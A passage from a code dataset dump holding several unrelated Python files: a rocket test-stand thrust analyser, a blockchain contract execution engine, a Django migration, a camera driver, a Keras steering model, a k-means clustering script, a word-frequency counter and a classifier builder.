self.stopTimeLabel.setText(\"{:.2f}\".format(self.stopTime))\n break\n if self.inf1 is None:\n self.inf1 = pg.InfiniteLine(angle=90, label='start time={:1.2f}'.format(self.startTime),\n labelOpts={'position':0.1, 'color': (200,200,100), 'fill': (200,200,200,50), 'movable': True})\n self.inf2 = pg.InfiniteLine(angle=90, label='stop time={:1.2f}'.format(self.stopTime),\n labelOpts={'position':0.1, 'color': (200,200,100), 'fill': (200,200,200,50), 'movable': True})\n self.Plt.addItem(self.inf1)\n self.Plt.addItem(self.inf2)\n self.inf1.setPos([self.startTime,0])\n self.inf2.setPos([self.stopTime,0])\n else:\n self.inf1.setPos([self.startTime,0])\n self.inf2.setPos([self.stopTime,0])\n self.inf1.show()\n self.inf2.show()\n self.roi.hide()\n #self.curve.setData(fillLevel = min(self.y_))\n\n def updateGraph(self):\n self.curve.setData(x=self.x,y=self.y_)\n\n def analyse(self):\n # 1. get max thrust value\n self.maxThrust = max(self.y_)\n self.maxThrust_Newton = self.maxThrust * 9.81\n print(\"max thrust:{:0.2f}\".format(self.maxThrust))\n # 2. get left 10% thrust time\n firstFound = False\n for i in range(len(self.x)):\n value = self.y_[i]\n if value > (self.maxThrust*0.1) and not firstFound:\n self.burnStartTime = self.x[i]\n print(\"burn time:{:0.2f}\".format(self.burnStartTime))\n firstFound =True\n elif value > (self.maxThrust*0.75):\n self.riseTime = self.x[i]\n print(\"rise time:{:0.2f}\".format(self.riseTime))\n break\n\n # 3. get right 10% thrust time\n firstFound = False\n for i in range(len(self.x)):\n value = self.y_[(i+1)*-1]\n if value > (self.maxThrust*0.1) and not firstFound:\n self.burnStopTime = self.x[(i+1)*-1]\n print(\"burn out time:{:0.2f}\".format(self.burnStopTime))\n firstFound =True\n elif value > (self.maxThrust*0.75):\n self.fallTime = self.x[(i+1)*-1]\n print(\"fall time:{:0.2f}\".format(self.fallTime))\n break\n\n # 4. get total impuls in Ns\n idx1 = max(bisect.bisect_left(self.x,self.startTime),0)\n idx2 = min(bisect.bisect_right(self.x,self.stopTime),len(self.x)-1)\n y_corr = (self.y_[idx1:idx2]-self.preBurnValue) * 9.81\n self.totImpuls = np.trapz(y= y_corr,x=self.x[idx1:idx2])\n print(\"Impuls:{:0.2f} Ns\".format(self.totImpuls))\n # 5. get specific impuls\n m_tot = self.preBurnValue - self.postBurnValue\n self.spImpuls = self.totImpuls / (m_tot * 9.81)\n print(\"spezific Impuls:{:0.2f} s\".format(self.spImpuls))\n # 6. update interface\n self.idtLabel.setText(\"{:0.2f} s\".format(self.burnStartTime - self.startTime))\n self.irtLabel.setText(\"{:0.2f} s\".format(self.riseTime - self.burnStartTime))\n self.btLabel.setText(\"{:0.2f} s\".format(self.fallTime-self.burnStartTime))\n self.atLabel.setText(\"{:0.2f} s\".format(self.burnStopTime-self.burnStartTime))\n self.maxThrustLabel.setText(\"{:0.2f} N\".format(self.maxThrust_Newton))\n self.totImpulsLabel.setText(\"{:0.2f} Ns\".format(self.totImpuls))\n self.spImpulsLabel.setText(\"{:0.2f} s\".format(self.spImpuls))\n\n def applyFilter(self):\n try:\n windowSize = int(self.windowLineEdit.text())\n order = int(self.orderLineEdit.text())\n self.y_ = sgf(self.y_,windowSize,order,mode=\"nearest\")\n self.updateGraph()\n except Exception as err:\n print(\"Ein Fehler ist aufgetreten!\")\n print(err)\n\n def computeMassCompensation(self):\n # iterativly compute the mass flow and correct the sensor data\n # algorithm by David Madlener\n m_tot = self.preBurnValue - self.postBurnValue\n t0 = self.startTime\n t1 = self.stopTime\n idx0 = bisect.bisect_left(self.x,t0)\n idx1 = bisect.bisect_right(self.x,t1)\n S = self.y_[idx0:idx1] # get sensor data (kg)\n t = self.x[idx0:idx1] # get time (s)\n P_old = 0\n m = np.ones(len(S)) * self.preBurnValue # initialize m(t) with constant pre burn values\n delta_P = 1\n e = 0.00001\n\n while delta_P > e:\n F = S - m # compute thrust F (kg)\n P_new = np.trapz(y=F,x=t) # integrate thrust (kg s)\n m_dot = -1 * F * (m_tot/P_new)\n m = igt.cumtrapz(m_dot,t,initial=m[0])\n delta_P = abs(P_new-P_old)\n P_old = P_new\n #print(\"delta_P:{}\".format(delta_P))\n\n self.y_[:idx0] = self.y_[:idx0] - self.preBurnValue\n self.y_[idx0:idx1] = S - m - self.preBurnValue\n self.y_[idx1:] = self.y_[idx1:] - self.postBurnValue\n self.updateGraph()\n","repo_name":"deets/unifhy-rocket-engine-test-stand","sub_path":"modul3/ViewModel/analyseViewModel.py","file_name":"analyseViewModel.py","file_ext":"py","file_size_in_byte":12002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"39970117596","text":"import importlib\nfrom contracting.execution import runtime\nfrom contractdb.driver import ContractDBDriver\nfrom contracting.execution.module import install_database_loader\nfrom contracting.db.encoder import encode\n\nimport ecdsa\nimport logging\nimport hashlib\n\n## Create new executor that takes a transaction JSON thing and executes it. It also enforces the stamps, etc.\n# if that is set in the environment variables\n\nexpected_tx_keys = {'sender', 'signature', 'payload'}\nexpected_tx_batch_keys = {'sender', 'signature', 'payload', 'index'}\nexpected_payload_keys = {'contract', 'function', 'arguments'}\n\nMALFORMED_TX = 1\nINVALID_SIG = 2\nPY_EXCEPTION = 3\n\n\nclass Engine:\n def __init__(self, stamps_enabled=False, timestamps_enabled=False, driver=ContractDBDriver()):\n install_database_loader()\n\n self.driver = driver\n\n self.log = logging.getLogger('Engine')\n self.stamps_enabled = stamps_enabled\n self.timestamps_enabled = timestamps_enabled\n\n def verify_tx_structure(self, tx: dict, part_of_batch=False):\n expected_keys = expected_tx_keys if not part_of_batch else expected_tx_batch_keys\n if tx.keys() ^ expected_keys != set():\n return False\n\n if tx['payload'].keys() ^ expected_payload_keys != set():\n return False\n\n if self.stamps_enabled and not tx['payload'].get('stamps'):\n return False\n\n if self.timestamps_enabled and not tx['payload'].get('timestamp'):\n return False\n\n return True\n\n @staticmethod\n def verify_tx_signature(tx: dict):\n tx_payload = encode(tx['payload'])\n tx_payload_bytes = tx_payload.encode()\n\n signature = bytes.fromhex(tx['signature'])\n pk = bytes.fromhex(tx['sender'])\n\n vk = ecdsa.VerifyingKey.from_string(pk, curve=ecdsa.NIST256p, hashfunc=hashlib.sha256)\n try:\n vk.verify(signature, tx_payload_bytes)\n except ecdsa.BadSignatureError:\n return False\n return True\n\n # key = nacl.signing.VerifyKey(pk)\n # try:\n # key.verify(tx_payload_bytes, signature)\n # except nacl.exceptions.BadSignatureError:\n # return False\n # return True\n\n def run(self, tx: dict, environment={}, part_of_batch=False):\n tx_output = {\n 'status': 0,\n 'updates': {},\n 'result': None,\n }\n\n # Add additional KV pair if stamps are enabled\n if self.stamps_enabled:\n tx_output['cost'] = 0\n\n # Verify the structure of the tx\n if not self.verify_tx_structure(tx, part_of_batch):\n self.log.error(\"Malformed transaction {}\".format(tx))\n tx_output['status'] = MALFORMED_TX\n return tx_output\n\n # Verify the signature of the tx\n if not self.verify_tx_signature(tx):\n self.log.error(\"Invalid signature for the transaction {}\".format(tx))\n tx_output['status'] = INVALID_SIG\n return tx_output\n\n # Extract the payload to pass as execution arguments\n payload = tx.get('payload')\n\n # Set the runtime driver (we might be able to remove this)\n runtime.rt.env.update({'__Driver': self.driver})\n runtime.rt.env.update(environment)\n\n runtime.rt.context._base_state = {\n 'signer': tx['sender'],\n 'caller': tx['sender'],\n 'this': tx['payload']['contract'],\n 'owner': self.driver.get_owner(tx['payload']['contract'])\n }\n\n try:\n # Access the payload values and load them from the database\n module = importlib.import_module(payload.get('contract'))\n func = getattr(module, payload.get('function'))\n tx_output['result'] = func(**payload.get('arguments'))\n\n except Exception as e:\n tx_output['result'] = str(e)\n tx_output['status'] = PY_EXCEPTION\n\n # Get the current cache of sets for the tx output\n\n _driver = runtime.rt.env.get('__Driver')\n\n tx_output['updates'] = _driver.sets\n\n # Clear them for the next execution\n _driver.clear_sets()\n\n runtime.rt.clean_up()\n\n return tx_output\n","repo_name":"Lamden/contractdb","sub_path":"contractdb/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":4199,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"19384957109","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport django.contrib.gis.db.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('search', '0001_initial'),\n ('feedback', '__first__'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='ImageComment',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('comment', models.TextField(verbose_name='Comment')),\n ('tag_friend', models.CharField(max_length=1024, null=True, verbose_name='Tag Friends', blank=True)),\n ('like_count', models.IntegerField(default=0, max_length=100, verbose_name='like count')),\n ('is_deleted', models.BooleanField(default=False, verbose_name='Deleted Comment')),\n ('date_added', models.DateTimeField(auto_now_add=True, verbose_name='Date Added')),\n ('last_modified', models.DateTimeField(auto_now=True, verbose_name='Last Modified')),\n ('owner', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'ordering': ['-id'],\n 'verbose_name': 'ImageComment',\n 'verbose_name_plural': 'ImageComments',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='ImageCommentLike',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('date_added', models.DateTimeField(auto_now_add=True, verbose_name='Date Added')),\n ('last_modified', models.DateTimeField(auto_now=True, verbose_name='Last Modified')),\n ('image_comment', models.ForeignKey(related_name=b'like_image_comment', to='uploadimages.ImageComment')),\n ('owner', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='ImageLike',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('date_added', models.DateTimeField(auto_now_add=True, verbose_name='Date Added')),\n ('last_modified', models.DateTimeField(auto_now=True, verbose_name='Last Modified')),\n ('owner', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='UploadImage',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('image', models.ImageField(upload_to=b'upload_images', null=True, verbose_name='Image')),\n ('google_images', models.TextField(null=True, verbose_name='Google Images')),\n ('review_images', models.ImageField(upload_to=b'upload_images', null=True, verbose_name='Review Image')),\n ('tag_friend', models.CharField(max_length=1024, null=True, verbose_name='Tag Friends', blank=True)),\n ('special_feature', models.TextField(max_length=1024, null=True, verbose_name='Special Feature', blank=True)),\n ('location', django.contrib.gis.db.models.fields.PointField(srid=4326, null=True, verbose_name='Review Location', geography=True)),\n ('is_verified', models.BooleanField(default=False, verbose_name='Upload Image Verified')),\n ('is_credited', models.BooleanField(default=False, verbose_name='Credit on Uploaded Image')),\n ('comment_count', models.IntegerField(default=0, max_length=100, verbose_name='comment count')),\n ('like_count', models.IntegerField(default=0, max_length=100, verbose_name='like count')),\n ('with_whom', models.CharField(max_length=1024, null=True, verbose_name='With Friend', blank=True)),\n ('is_deleted', models.BooleanField(default=False, verbose_name='Deleted Image')),\n ('date_added', models.DateTimeField(auto_now_add=True, verbose_name='Date Added')),\n ('last_modified', models.DateTimeField(auto_now=True, verbose_name='Last Modified')),\n ('owner', models.ForeignKey(blank=True, to=settings.AUTH_USER_MODEL, null=True)),\n ('place', models.ForeignKey(to='search.PlaceDetail', db_column=b'place_id')),\n ('review', models.ForeignKey(to='feedback.ReviewRating', null=True)),\n ],\n options={\n 'ordering': ['-id'],\n 'verbose_name': 'UploadImage',\n 'verbose_name_plural': 'UploadImages',\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='imagelike',\n name='upload_image',\n field=models.ForeignKey(related_name=b'like_image', to='uploadimages.UploadImage'),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='imagecomment',\n name='upload_image',\n field=models.ForeignKey(related_name=b'image_comment', to='uploadimages.UploadImage'),\n preserve_default=True,\n ),\n ]\n","repo_name":"bharat-gera/Nautlus","sub_path":"uploadimages/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"70559851129","text":"from typing import Any, Dict, List, Tuple, Type\nimport ctypes\nimport numpy as np\n\nfrom vxpy.core import logger\nimport vxpy.core.devices.camera as vxcamera\nimport vxpy.core.ipc as vxipc\nfrom vxpy.core.devices.camera import CameraDevice\nfrom vxpy.definitions import *\nfrom vxpy.ext_lib.tis_windows import tisgrabber as tis\n\nlog = logger.getLogger(__name__)\n\nic = ctypes.cdll.LoadLibrary('tisgrabber_x64.dll')\ntis.declareFunctions(ic)\nic.IC_InitLibrary(0)\n\n\nclass CallbackUserdata(ctypes.Structure):\n def __init__(self):\n ctypes.Structure.__init__(self)\n\n\nclass TISCamera(vxcamera.CameraDevice):\n \"\"\"TheImagingSource camera using the tisgrabber.dll for Windows OS\n \"\"\"\n\n def __repr__(self):\n return f'{TISCamera.__name__} {self.properties[\"model\"]} {self.properties[\"serial\"]}'\n\n manufacturer = 'TIS'\n\n # NOTE: TIS MAY only support 8-bit images for now?\n sink_formats = {'Y800': (1, np.uint8), # (Y8) 8-bit monochrome\n 'RGB24': (3, np.uint8), # 8-bit RGB\n 'RGB32': (4, np.uint8), # 8-bit RGBA\n # 'UYVY': (2, np.uint16),\n 'Y16': (1, np.uint16)} # 16-bit monochrome\n\n def __init__(self, *args, **kwargs):\n vxcamera.CameraDevice.__init__(self, *args, **kwargs)\n\n self._frame: np.ndarray = None\n\n self.metadata = {}\n self.settings = {}\n\n self.last_snap = vxipc.get_time()\n self.new_image = False\n\n def get_settings(self) -> Dict[str, Any]:\n if len(self.settings) == 0:\n settings = {**self.properties, 'exposure': 0.01, 'gain': 1.0}\n return settings\n return self.settings\n\n @property\n def frame_rate(self) -> float:\n return self.properties['frame_rate']\n\n @property\n def width(self) -> float:\n return self.properties['width']\n\n @property\n def height(self) -> float:\n return self.properties['height']\n\n @classmethod\n def get_camera_list(cls) -> List[CameraDevice]:\n camera_list = []\n devicecount = ic.IC_GetDeviceCount()\n for i in range(0, devicecount):\n model = tis.D(ic.IC_GetDevice(i))\n uniquename = tis.D(ic.IC_GetUniqueNamefromList(i))\n serial = uniquename.replace(model, '').strip(' ')\n props = {'serial': serial, 'model': model,\n 'width': 640, 'height': 480, 'frame_rate': 60.0}\n cam = TISCamera(**props)\n camera_list.append(cam)\n\n return camera_list\n\n def _open(self) -> bool:\n\n # Open (empty) device\n self.h_grabber = ic.IC_CreateGrabber()\n\n # Set callback\n self.userdata = CallbackUserdata()\n self._frame_ready_callback = ic.FRAMEREADYCALLBACK(self._fetch_and_convert_buffer)\n ic.IC_SetFrameReadyCallback(self.h_grabber, self._frame_ready_callback, self.userdata)\n\n return True\n\n def _fetch_and_convert_buffer(self, h_grabber, p_buffer, frame_number, p_data):\n width = ctypes.c_long()\n height = ctypes.c_long()\n bits_per_pixel = ctypes.c_int()\n color_format = ctypes.c_int()\n\n # Query the image description values\n ic.IC_GetImageDescription(h_grabber, width, height, bits_per_pixel, color_format)\n\n # Calculate the buffer size\n bytes_per_pixel = int(bits_per_pixel.value / 8.0)\n buffer_size = width.value * height.value * bytes_per_pixel\n\n source_format = self.properties['format']\n if buffer_size > 0:\n image = ctypes.cast(p_buffer, ctypes.POINTER(ctypes.c_ubyte * buffer_size))\n _dtype = self.sink_formats[source_format][1]\n _shape = (height.value, width.value, bytes_per_pixel // _dtype().nbytes)\n self._frame = np.ndarray(buffer=image.contents,\n dtype=_dtype,\n shape=_shape)\n\n self.new_image = True\n\n def _get_property_value_range(self, property_name):\n value_min = ctypes.c_float()\n value_max = ctypes.c_float()\n ic.IC_GetPropertyAbsoluteValueRange(self.h_grabber, tis.T(property_name), tis.T('Value'), value_min, value_max)\n\n return value_min.value, value_max.value\n\n def _set_property(self, property_name, value):\n limits = self._get_property_value_range(property_name)\n if not limits[0] <= value <= limits[1]:\n log.warning(f'Cannot set value of property {property_name} to {value} '\n f'on camera device {self}. Out of range {limits}')\n return\n\n # Set\n log.debug(f'Set property value of property {property_name} to {value} on device {self}')\n ic.IC_SetPropertyAbsoluteValue(self.h_grabber, tis.T(property_name), tis.T('Value'), ctypes.c_float(value))\n\n # Verify\n new_value = ctypes.c_float()\n ic.IC_GetPropertyAbsoluteValue(self.h_grabber, tis.T(property_name), tis.T('Value'), new_value)\n value_min, value_max = self._get_property_value_range(property_name)\n log.debug(f'New property value for {property_name} is {new_value.value:.5f} '\n f'({value_min:.5f} - {value_max:.5f}) on device {self}')\n\n def _set_property_switch(self, property_name, switch_name, value):\n # Set\n ic.IC_SetPropertySwitch(self.h_grabber, tis.T(property_name), tis.T(switch_name), value)\n log.debug(f'Set property switch {switch_name} of property {property_name} to {value} on device {self}')\n\n # Verify\n new_value = ctypes.c_long()\n ic.IC_GetPropertySwitch(self.h_grabber, tis.T(property_name), tis.T(switch_name), new_value)\n log.debug(f'New property switch value {property_name}:{switch_name} '\n f'is {new_value.value} on device {self}')\n\n def _start_stream(self) -> bool:\n # Open device by model and serial\n model = self.properties['model']\n serial = self.properties['serial']\n ic.IC_OpenDevByUniqueName(self.h_grabber, tis.T(f'{model} {serial}'))\n\n # Setting\n source_format = self.properties['format']\n format_str = f'{source_format} ({self.width}x{self.height})'\n ic.IC_SetVideoFormat(self.h_grabber, tis.T(format_str))\n ic.IC_SetFrameRate(self.h_grabber, ctypes.c_float(self.frame_rate))\n\n # Set to continuous mode\n ic.IC_SetContinuousMode(self.h_grabber, 0)\n\n # Set trigger enable\n ic.IC_SetPropertySwitch(self.h_grabber, tis.T('Trigger'), tis.T('Enable'), 1)\n\n # Set properties\n self._set_property_switch('Gain', 'Auto', 0)\n self._set_property_switch('Exposure', 'Auto', 0)\n self._set_property('Exposure', self.properties['exposure'])\n self._set_property('Gain', self.properties['gain'])\n\n # Start\n ic.IC_StartLive(self.h_grabber, 0)\n\n return True\n\n def next_snap(self) -> bool:\n current_time = vxipc.get_time()\n\n do_next = current_time >= self.last_snap + 1. / self.frame_rate\n\n if do_next:\n self.last_snap = current_time\n\n return do_next\n\n def snap_image(self) -> None:\n ic.IC_PropertyOnePush(self.h_grabber, tis.T('Trigger'), tis.T('Software Trigger'))\n\n def next_image(self) -> bool:\n return self.new_image\n\n def get_image(self) -> np.ndarray:\n self.new_image = False\n return self._frame\n\n def _end_stream(self) -> bool:\n ic.IC_StopLive(self.h_grabber)\n return True\n\n def _close(self) -> bool:\n pass\n\nif __name__ == '__main__':\n pass\n","repo_name":"thladnik/vxPy","sub_path":"vxpy/devices/camera/tis_windows_tisgrabber.py","file_name":"tis_windows_tisgrabber.py","file_ext":"py","file_size_in_byte":7540,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"} +{"seq_id":"71597758328","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport cv2 as cv2\nimport csv as csv\nimport tensorflow as tf\nfrom keras.models import Sequential, Model\nfrom keras.layers import Lambda, Cropping2D\nfrom keras.layers.core import Dense, Activation, Flatten, Dropout \nfrom keras.layers.convolutional import Conv2D\nfrom keras.layers.pooling import MaxPooling2D\nimport sklearn\nfrom sklearn.model_selection import train_test_split\n\n\n### D A T A G E N E R A T I O N \n### 1.) Load the data from the driving log file\n# The csv file is structured like this: \n# center - left - right - steering - throttle - brake - speed\nlogFileLines = []\nwith open (\"./data/driving_log.csv\") as log: \n reader = csv.reader(log)\n next(reader)\n for line in reader: \n logFileLines.append(line) \n### 2.) Split the data into training and validation set\ntrainingData, validationData = train_test_split(logFileLines, test_size=0.2) \n### 3.) Define a generator which provides data batches more (memory) efficiently than just loading and storing the entire data set\ndef dataGenerator(data, batchSize=32): \n numDataSamples = len(data)\n while True:\n # Randomize data\n np.random.shuffle(data)\n # Return (i.e. yield) a batch every time the dataGenerator gets called\n for offset in range(0, numDataSamples, batchSize):\n batchData = data[offset:offset+batchSize]\n # Extract image links for center, left and right images\n # Extract steering values \n centerImgLinks = []\n leftImgLinks = []\n rightImgLinks = []\n steeringCenter = []\n steeringLeft = []\n steeringRight = [] \n for line in batchData: \n centerImgLinks.append(\"./data/\" + line[0])\n leftImgLinks.append(\"./data/\" + (line[1])[1:])\n rightImgLinks.append(\"./data/\" + (line[2])[1:])\n # Use left and right camera images to pretend the AV is swerved to either left or right\n # Adapt the steering by a correction factor of 0.2 in order to get the AV back to the center\n steeringCenterValue = float(line[3])\n steeringLeftValue = steeringCenterValue + 0.2\n steeringRightValue = steeringCenterValue - 0.2\n steeringCenter.append(steeringCenterValue)\n steeringLeft.append(steeringLeftValue)\n steeringRight.append(steeringRightValue)\n # Load actual images\n centerImages = []\n leftImages = []\n rightImages = []\n for centerImgLink, leftImgLink, rightImgLink in zip(centerImgLinks, leftImgLinks, rightImgLinks): \n centerImages.append(plt.imread(centerImgLink))\n leftImages.append(plt.imread(leftImgLink))\n rightImages.append(plt.imread(rightImgLink))\n # Stack images and steering values together respectively\n images = centerImages + leftImages + rightImages\n steerings = steeringCenter + steeringLeft + steeringRight\n # Augment the data by flipping the image and inverse the corresponding steering \n augmentedImages = []\n augmentedSteerings = []\n for img, steerVal in zip(images, steerings): \n flippedImg = np.fliplr(img)\n flippedSteerVal = - steerVal\n augmentedImages.append(img)\n augmentedImages.append(flippedImg)\n augmentedSteerings.append(steerVal)\n augmentedSteerings.append(flippedSteerVal) \n # Return (yield) the training batch \n X_train = np.array(augmentedImages) \n y_train = np.array(augmentedSteerings)\n yield sklearn.utils.shuffle(X_train, y_train) \n\n \n### B U I L D T H E M O D E L A R C H I T E C T U R E \nmodel = Sequential()\n# L a y e r 0 (P R E P R O C E S S I N G) \n# Lambda layer as preprocessing unit (normalization and mean centering)\n# Cropping layer to remove the above part of the images (which might be rather noise for the NN) \nmodel.add(Lambda(lambda x: (x / 255.0) - 0.5, input_shape=(160,320,3)))\nmodel.add(Cropping2D(cropping=((60,20), (0,0))))\n# L a y e r 1\n# Convolution and MaxPool --> Input: 80x320x3 --> Layer 1 --> Output: 40x160x24 \nmodel.add(Conv2D(kernel_size=(5,5), filters=24, padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), padding='valid'))\n# L a y e r 2\n# Convolution and MaxPool --> Input: 40x160x24 --> Layer 2 --> Output: 20x80x36 \nmodel.add(Conv2D(kernel_size=(5,5), filters=36, padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), padding='valid'))\n# L a y e r 3\n# Convolution and MaxPool --> Input: 20x80x36 --> Layer 3 --> Output: 10x40x48\nmodel.add(Conv2D(kernel_size=(5,5), filters=48, padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), padding='valid'))\n# L a y e r 4\n# Convolution and MaxPool --> Input: 10x40x48 --> Layer 4 --> Output: 5x20x64\nmodel.add(Conv2D(kernel_size=(3,3), filters=64, padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), padding='valid'))\n# L a y e r 5\n# Convolution and MaxPool --> Input: 5x20x64 --> Layer 5 --> Output: 2x10x64\nmodel.add(Conv2D(kernel_size=(3,3), filters=64, padding='same', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2), padding='valid'))\n# L a y e r 6\n# Flatten Layer --> Input: 2x10x64 --> Layer 4 Output: 1280\nmodel.add(Flatten())\n# L a y e r 7\n# Dense (Fully Connected) and Relu --> Input 1280 --> Layer 7 --> Output: 320\nmodel.add(Dense(320))\nmodel.add(Activation('relu'))\n# L a y e r 8\n# Dense (Fully Connected) and Relu --> Input 320 --> Layer 8 --> Output: 160\nmodel.add(Dense(160))\nmodel.add(Activation('relu'))\n# L a y e r 9 \n# Dense (Fully Connected) --> Input 160 --> Layer 9 --> Output: 16\nmodel.add(Dense(16))\nmodel.add(Activation('relu'))\n# L a y e r 10 (O u t p u t)\n# Dense (Fully Connected) --> Input 16 --> Layer 10 --> Output: 1\nmodel.add(Dense(1))\n\n\n### T R A I N T H E M O D E L\n# Define data generator for training and validation batches\nbatchSize = 32\ntrainingDataGenerator = dataGenerator(trainingData, batchSize)\nvalidationDataGenerator = dataGenerator(validationData, batchSize)\n# Use mean squared error function as loss and the adam optimizer (stochastic gradient descent)\nmodel.compile(loss=\"mse\", optimizer=\"adam\")\n# Training\nbehavioralCloningModel = model.fit_generator(trainingDataGenerator, steps_per_epoch=np.ceil(len(trainingData)/batchSize), \\\n validation_data=validationDataGenerator, validation_steps=np.ceil(len(validationData)/batchSize), \\\n epochs=10, verbose=1)\n# Save the model\nmodel.save(\"model.h5\")\n\n\n\n","repo_name":"dschmoeller/BehavioralCloningDeepNNsKeras","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"1779391306","text":"# importing Libraries\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nimport os\r\nimport seaborn as sns\r\n\r\n# Importing the dataset\r\nos.chdir('E:\\\\Programing\\\\UdemyML\\\\Machine Learning A-Z Template Folder\\\\Part 4 - Clustering\\\\Section 24 - K-Means Clustering')\r\ndf = pd.read_csv('Mall_Customers.csv')\r\nprint(df)\r\nx = df.iloc[:,[3,4]].values\r\n\r\n# Using Elbow Method\r\nfrom sklearn.cluster import KMeans\r\nwcss = []\r\nfor i in range(1,11):\r\n k = KMeans(n_clusters=i,init='k-means++',max_iter=300,n_init=10,random_state=0)\r\n k.fit(x)\r\n wcss.append(k.inertia_)\r\n\r\nsns.set()\r\nplt.plot(range(1,11),wcss)\r\nplt.title('Elbow Method ')\r\nplt.xlabel('No.of.Clusters')\r\nplt.ylabel('WCSS Score')\r\nplt.show()\r\n\r\n# Fitting The Model To 5 Clusters\r\nk = KMeans(n_clusters=5, init='k-means++', max_iter=300, n_init=10, random_state=0)\r\ny_k = k.fit_predict(x)\r\nprint(y_k)\r\n\r\n# Scatter Plot The Clusters\r\nplt.scatter(x[y_k==0,0],x[y_k==0,1],c='red',label = 'Cluster 1')\r\nplt.scatter(x[y_k==1,0],x[y_k==1,1],c='blue',label = 'Cluster 2')\r\nplt.scatter(x[y_k==2,0],x[y_k==2,1],c='green',label = 'Cluster 3')\r\nplt.scatter(x[y_k==3,0],x[y_k==3,1],c='yellow',label = 'Cluster 4')\r\nplt.scatter(x[y_k==4,0],x[y_k==4,1],c='cyan',label = 'Cluster 5')\r\nplt.xlabel('Annual Income')\r\nplt.ylabel('Spending Score')\r\nplt.title('Clustering Of Mall Clients')\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\n","repo_name":"gemyhamed/Udemy_ML_C-MyownWork","sub_path":"K-means Clustring/KMeans Clustring.py","file_name":"KMeans Clustring.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"42423650345","text":"text = []\r\nwith open('final.txt', 'r', encoding='utf-8') as f:\r\n\tfor line in f:\r\n\t\ttext.append(line.split('|')[2])\r\nword_dic = {}\r\n\r\nfor line in text:\r\n\tline_split = line.translate(str.maketrans('','','!(),-.[]_،؟!@#$\\n')).split(' ')\r\n\tfor word in line_split:\r\n\t\tif word in word_dic:\r\n\t\t\tword_dic[word] += 1\r\n\t\telse:\r\n\t\t\tword_dic[word] = 1\r\nword_dic_sorted = {k: v for k, v in sorted(word_dic.items(), key=lambda item: item[1], reverse=True)}\r\nwith open('word_count.txt', 'w', encoding='utf-8') as w:\r\n\tfor rank ,(word, count) in enumerate(word_dic_sorted.items()):\r\n\t\tw.write('{}-word: {}, count: {}\\n'.format(rank+1, word, count))\r\n\r\n","repo_name":"shenasa-ai/persian-tts","sub_path":"top-words.py","file_name":"top-words.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"77"} +{"seq_id":"42836011316","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 13 11:08:16 2020\r\n\r\n@author: prnvb\r\n\"\"\"\r\n\r\nfrom model import build_encoder, build_decoder_densenet, build_decoder_efnb2,\\\r\n build_decoder_efnb3, build_decoder_efnb4\r\nfrom keras.layers import Dense, Input, Dropout, Multiply, Add, Concatenate\r\nfrom keras.models import Model\r\n\r\nfrom utils import LATENT_DIM,NUM_CLASSES,INPUT_SHAPE\r\n\r\ndef build_classifier(encoder,dropout_rate=0.4):\r\n input_image = Input(shape=INPUT_SHAPE)\r\n embedding = encoder(input_image)\r\n #out = Dense(int(LATENT_DIM/2),activation='relu')(embedding)\r\n if dropout_rate>0:\r\n\t embedding = Dropout(0.3)(embedding)\r\n out = Dense(NUM_CLASSES,activation='softmax')(embedding)\r\n classifier = Model(input_image,out)\r\n classifier.name = 'Classifier'\r\n return classifier\r\n\r\ndef build_classifier_v2(encoder,input_shape):\r\n input_image = Input(shape=input_shape)\r\n embedding = encoder(input_image)\r\n #out = Dense(int(LATENT_DIM/2),activation='relu')(embedding)\r\n #out = Dropout(0.3)(out)\r\n out = Dense(NUM_CLASSES,activation='softmax')(embedding)\r\n classifier = Model(input_image,out)\r\n classifier.name = 'Classifier'\r\n return classifier\r\n\r\n\r\ndef build_conditioner():\r\n input_label_condition_vector = Input(shape=(NUM_CLASSES,))\r\n x = 